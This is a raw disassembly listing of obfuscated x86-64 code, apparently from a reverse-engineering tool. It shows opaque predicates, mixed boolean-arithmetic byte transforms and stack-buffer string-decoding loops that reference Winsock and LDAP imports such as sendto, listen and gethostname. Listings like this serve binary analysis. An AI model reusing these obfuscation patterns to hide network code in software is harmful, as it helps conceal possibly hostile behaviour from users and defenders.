lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14010307d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140103055
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140103030
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140103009
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140102fe4
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140102fb6
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140102f88
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140102f63
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140102d40
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x42]
jmp 0x140102d40
movabs rdx, 0x215851fb7e872b
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x2d
add sil, dl
jmp 0x140102d30
movabs rdx, 0x20dd7ed890f769
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x21
add sil, dl
jmp 0x140102cc7
movabs rcx, 0x2062abb5a367a7
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x6f
jmp 0x140102c36
movabs rdx, 0x284d4775f32ba8
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1401037ef
movabs rcx, 0x27d27453059be6
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x4a
inc r8
dec r9
inc r9
jmp 0x140102c23
movabs rdx, 0x2757a130180c24
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
dec r9
inc r9
jmp 0x140102c23
movabs rdx, 0x26dcce0d2a7c62
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x14010386f
movabs rcx, 0x2661faea3ceca0
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x60
add rbx, r8
jmp 0x1401038be
movabs rcx, 0x25e727c74f5cde
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x12
jmp 0x1401038be
movabs rdx, 0x256c54a461cd1c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1401038f5
movabs rdx, 0x24f18181743d5a
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x76
add sil, dl
jmp 0x140103926
movabs rcx, 0x2476ae5e86ad98
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x28
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
movabs rcx, 0x23439e8734c633
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x65
mov byte [rbp + r9 + 0x320], sil
inc r9
jmp 0x140102c23
movabs rdx, 0x22c8cb64473671
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x17
add sil, dl
cmp r8, 4
jb 0x1401030fa
movabs rdx, 0x18780ff553a3a6
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea esi, [rcx*2 - 0x14]
jmp 0x1401037f2
movabs rdx, 0x224df84159a6af
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x37
add sil, dl
cmp rbx, 0x80
jae 0x1401036d2
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x1401035c7
movabs rdx, 0x13abd0980c0612
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x7e
jmp 0x14010312a
movabs rcx, 0x21d3251e6c16ed
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x7b
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140103702
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x1401034c5
movabs rdx, 0xea227a94da09d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x4b
jmp 0x14010317d
movabs rcx, 0x1e39f5987660be
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x32
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
movabs rdx, 0x1dbf227588d0fc
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x140103926
movabs rdx, 0x1d444f529b413a
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1401038f5
movabs rcx, 0x1cc97c2fadb178
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x48
jmp 0x1401038be
movabs rdx, 0x1c4ea90cc021b6
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
add rbx, r8
jmp 0x1401038be
movabs rdx, 0x1bd3d5e9d291f4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x14010386f
movabs rcx, 0x1b5902c6e50232
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x5e
dec r9
inc r9
jmp 0x140102c23
movabs rcx, 0x1ade2fa3f77270
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x10
inc r8
dec r9
inc r9
jmp 0x140102c23
movabs rdx, 0x1a635c8109e2ae
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1401037f2
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1401033c4
lea rdx, [r9 + r11]
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x27
add sil, dl
jmp 0x1401031e1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140103403
movabs rcx, 0xa1351dd7ccaea
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x66
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140103434
movabs rdx, 0xa8e25006a5aac
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x140103926
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140103465
movabs rdx, 0xb08f82357ea6e
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 2
add sil, dl
jmp 0x1401038f5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140103493
movabs rdx, 0xc79718c2099b4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x14010386f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1401031e1
movabs rdx, 0xde9eaf4e948fa
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1401037ef
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1401034f3
movabs rdx, 0xf1cfacc3b305f
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x67
jmp 0x1401037ef
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140103521
movabs rdx, 0x108d743503dfa5
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x7d
jmp 0x14010386f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140103552
movabs rcx, 0x11084757f16f67
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
add sil, 0x2f
add rbx, r8
jmp 0x1401038be
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140103583
movabs rdx, 0x1278c0c0ba1ead
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x45
add sil, dl
jmp 0x140103926
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140103180
movabs rcx, 0x12f393e3a7ae6f
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 9
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14010360a
movabs rdx, 0x1426a3baf995d4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14010363b
movabs rdx, 0x151c4a00d4b558
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x68
add sil, dl
jmp 0x1401038f5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140103669
movabs rdx, 0x168cc3699d649e
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x52
jmp 0x14010386f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1401036a0
movabs rdx, 0x1707968c8af460
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
dec r9
inc r9
jmp 0x140102c23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14010312d
movabs rdx, 0x17fd3cd26613e4
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x3c
jmp 0x1401037ef
movabs rdx, 0x18f2e318413368
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea esi, [rcx + rcx]
add sil, byte [rbp + r9 + 0x320]
add sil, dl
add sil, r10b
jmp 0x140103872
movabs rdx, 0x196db63b2ec32a
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, byte [rbp + r9 + 0x320]
sub sil, 0x26
add sil, dl
jmp 0x1401038f5
movabs rcx, 0x7ea9bc04fc401
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 7
jmp 0x1401038be
movabs rcx, 0x76fc89d62343f
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
add sil, 0x47
add rbx, r8
jmp 0x1401038be
movabs rcx, 0x5ff4f349984f9
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
add sil, 0x31
inc r8
dec r9
inc r9
jmp 0x140102c23
movabs rdx, 0x5847c11abf537
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x7f
jmp 0x1401037ef
movabs rdx, 0x48ed5cbd0d5b3
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 0x1b
add sil, dl
movabs rcx, 0x18b57986ca6b87
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x4f
add cl, r10b
mov byte [rbp + r9 + 0x320], cl
inc r8
dec r9
inc r9
jmp 0x140102c23
movabs rcx, 0x3992f85f5b62f
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x49
dec r9
inc r9
jmp 0x140102c23
movabs rdx, 0x31e5c6308266d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
add sil, 5
add sil, dl
movabs rdx, 0x19304ca9b7fb49
add rdx, r9
movzx eax, dl
and al, r10b
add al, al
movzx ecx, sil
sub cl, al
inc cl
add cl, dl
add cl, r10b
mov byte [rbp + r9 + 0x320], cl
add rbx, r8
jmp 0x1401038be
movabs rcx, 0x228b61d2d06e9
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x5f
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x140102c23
mov r10, rdx
movabs rax, 0x1ade2fa3f7727
add rax, r9
and dl, al
add dl, dl
sub al, dl
lea esi, [r10 + rax]
sub sil, 0x11
movabs rcx, 0x19ab1fcca58b0b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4d
add cl, r10b
movzx eax, cl
mov byte [rbp + r9 + 0x320], al
inc r8
add rax, r8
sub r9, rax
movabs rcx, 0x19e8895e1c52ec
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + r9 + 0x320], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
movabs rcx, 0xb83cb46457a3
add rcx, r9
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x75
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x140102c23
movabs rcx, 0x1fe7d892b5d7e5
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x43
jmp 0x140102c20
movabs rcx, 0x1f6d056fc84823
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
add sil, 0xb
jmp 0x140102c10
lea rdx, [rbp + 0x14e4e4c]
jmp 0x140103a0a
lea rdx, [rbp + 0x105162d]
jmp 0x140103a0a
lea rdx, [rbp + 0x320]
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140103a31
lea rcx, [rbp + 0x110]
call fcn.140047180
lea rcx, [rbp + 0x110]
call fcn.1400e07a0
mov byte [rbp + 0x150], 0xf6
mov byte [rbp + 0x151], 0xec
mov byte [rbp + 0x152], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x153], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x154], 0xe5
mov byte [rbp + 0x155], 0x81
xor eax, eax
mov qword [rbp + 0x156], rax
mov dword [rbp + 0x15e], eax
mov word [rbp + 0x162], ax
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x14010490d
movzx r11d, byte [rbp + r10 + 0x150]
mov r8d, r11d
nop dword [rax]
cmp rbx, r10
ja 0x140104904
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140103af5
movabs rcx, 0x6e20f86513b89d96
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x1a
jmp 0x140103b22
je 0x140104879
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401047d0
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140104794
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140104744
cmp r9, r10
ja 0x1401048fb
lea rax, [r9 + 0x3e8]
cmp rbx, rax
jae 0x140103b58
movabs rcx, 0x8b4604a9e24ed4e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
jmp 0x140103bb0
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401046f2
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401046c4
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14010469d
lea rax, [r9 + 6]
cmp rbx, rax
je 0x140104675
lea rax, [r9 + 7]
cmp rbx, rax
je 0x14010464d
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140104613
nop word [rax + rax]
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14010422c
nop dword [rax]
lea rax, [r9 + 0xa]
cmp rbx, rax
je 0x140104208
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1401041db
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401041ad
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140104185
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14010415a
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x140104132
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14010410e
lea rax, [r9 + 0x28]
cmp rbx, rax
je 0x1401040e6
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401040ac
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x140103bc0
mov rbx, rax
lea r9, [rax + 0x10]
lea rax, [r9 + 1]
cmp rbx, rax
jb 0x1401048d7
lea rax, [r9 + 0x200]
cmp rbx, rax
jb 0x1401048af
lea rax, [r9 + 9]
cmp rbx, rax
jb 0x140103dc1
lea rax, [r9 + 0x5a]
cmp rbx, rax
jb 0x140103d99
lea rax, [r9 + 0x64]
cmp rbx, rax
jb 0x140103d75
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14010404c
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140103fee
lea rax, [r9 + 4]
cmp rbx, rax
jb 0x140103f9c
lea rax, [r9 + 0x1000]
cmp rbx, rax
jb 0x140103f69
lea rax, [r9 + 0x20]
cmp rbx, rax
jb 0x140103bc0
mov rbx, rax
lea r9, [rax + 2]
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x140103f2f
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x140103f07
lea rax, [r9 + 0x2a]
cmp rbx, rax
ja 0x140103edf
lea rax, [r9 + 0x80]
cmp rbx, rax
ja 0x140103ebb
lea rax, [r9 + 8]
cmp rbx, rax
ja 0x140103e94
lea rax, [r9 + 0x41]
cmp rbx, rax
ja 0x140103e70
lea rax, [r9 + 0x42]
cmp rbx, rax
ja 0x140103e42
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x140103e11
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140103ded
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140103bc0
mov rbx, rax
lea r9, [rax + 0x400]
jmp 0x140103bc0
movabs rcx, 0xcbe6dee1b53d9072
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
jmp 0x140103bb0
movabs rdx, 0xefa4ee178dcc5546
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140103b22
movabs rdx, 0x1362fd4d665b1a1a
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r8d, r11b
jmp 0x140103ac0
movabs rcx, 0x45a30254f1276a70
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x140104711
movabs rdx, 0x6961118ac9b62f44
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r9
dec r10
inc r10
jmp 0x140103aa6
movabs rdx, 0x8d1f20c0a244f418
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140103aa6
movabs rcx, 0xb0dd2ff67ad3b8ec
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x140104763
movabs rcx, 0xd49b3f2c53627dc0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
add rbx, r9
jmp 0x1401047b7
movabs rcx, 0xf8594e622bf14294
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x1401047b7
movabs rdx, 0x1c175d9804800768
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1401047f4
movabs rdx, 0x3fd56ccddd0ecc3c
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104829
movabs rcx, 0x63937c03b59d9110
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, cl
movzx edi, r11b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
movabs rdx, 0x3ceea20a53027d22
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov byte [rbp + r10 + 0x150], dil
inc r10
jmp 0x140103aa6
movabs rdx, 0x60acb1402b9141f6
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r9, 4
jb 0x140103f8c
movabs rcx, 0xe122f845db8ec9c4
add rcx, r10
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x140104711
movabs rdx, 0x846ac076042006ca
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp rbx, 0x28
jae 0x1401045b3
lea rax, [r9 + 3]
cmp rbx, rax
jbe 0x14010449a
movabs rcx, 0x468f906051227a0c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x54
jmp 0x140103fbf
movabs rcx, 0xa828cfabdcaecb9e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
lea rax, [r9 + rbx]
cmp rax, 0x1000
je 0x1401045e3
lea rax, [r9 + 0x20]
cmp rbx, rax
jbe 0x140104361
movabs rcx, 0x3ddb3015b2fd8cbe
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x32
jmp 0x140104011
movabs rdx, 0x343a41bfb4dd8fd4
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
movabs rdx, 0x57f850f58d6c54a8
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104829
movabs rcx, 0x7bb6602b65fb197c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
jmp 0x1401047f4
movabs rcx, 0x9f746f613e89de50
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x30
add r11b, cl
movzx edi, r11b
jmp 0x1401047b7
movabs rdx, 0xc3327e971718a324
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r9
jmp 0x1401047b7
movabs rdx, 0xe6f08dccefa767f8
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104763
movabs rdx, 0xaae9d02c8362ccc
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
dec r10
inc r10
jmp 0x140103aa6
movabs rcx, 0x2e6cac38a0c4f1a0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
inc r9
dec r10
inc r10
jmp 0x140103aa6
movabs rcx, 0x522abb6e7953b674
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
jmp 0x140104711
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14010425c
movabs rcx, 0x6e20f86513b89d96
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1a
jmp 0x14010406b
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14010429b
movabs rcx, 0x1168c0953c49da9c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401042c8
movabs rcx, 0xedaab15f63bb15c8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
jmp 0x140104829
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401042f9
movabs rdx, 0xc9eca2298b2c50f4
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1401047f4
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14010432c
movabs rcx, 0x3af4655228f13da4
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
dec r10
inc r10
jmp 0x140103aa6
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14010406b
movabs rdx, 0xf37846e677d3b3fc
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104711
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14010438e
movabs rcx, 0x1a1d20dfda6ec7ea
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
jmp 0x140104711
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401043c5
movabs rdx, 0xd2a1027429513e42
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140103aa6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401043f2
movabs rcx, 0xaee2f33e50c2796e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 2
jmp 0x140104763
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140104426
movabs rcx, 0x8b24e4087833b49a
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x36
add r11b, cl
movzx edi, r11b
add rbx, r9
jmp 0x1401047b7
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140104457
movabs rcx, 0x6766d4d29fa4efc6
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6a
add r11b, cl
movzx edi, r11b
jmp 0x1401047b7
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140104011
movabs rcx, 0xfc2ca73115f8a14a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 6
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401044dd
movabs rdx, 0x22d1812a7893b538
add rdx, r10
movzx eax, dl
and al, r11b
